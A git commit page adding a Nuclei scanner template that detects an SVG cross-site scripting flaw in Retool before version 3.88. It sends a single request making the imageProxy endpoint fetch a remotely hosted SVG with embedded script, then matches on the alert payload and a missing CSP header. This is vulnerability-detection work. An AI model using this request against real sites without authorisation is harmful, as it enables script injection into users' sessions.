Create retool-xss.yaml
parent
eb8e32c939
commit
7e42e2df92
|
@ -0,0 +1,41 @@
|
|||
id: retool-xss
|
||||
|
||||
info:
|
||||
name: Retool 3.88 < - SVG XSS
|
||||
author: iamnoooob,iamnoooob,pdresearch
|
||||
severity: high
|
||||
description: |
|
||||
This template checks for XSS vulnerability via the Image Proxy URL parameter.
|
||||
reference:
|
||||
- https://docs.retool.com/releases/edge/3.88#:~:text=Fixed%20an%20SVG%20XSS%20vulnerability%20by%20adding%20a%20CSP.%20(%2349381)
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
fofa-query: body="x-retool"
|
||||
tags: retool,xss
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /api/imageProxy?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/eb8e32c9393677006c2ea916f2e3010c2bd8e03f/helpers/payloads/retool-xss.svg HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "alert('document.domain');"
|
||||
- "<?xml version"
|
||||
- '<script type="text/javascript">'
|
||||
condition: and
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
negative: true
|
||||
words:
|
||||
- "Content-Security-Policy: default-src 'none';"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue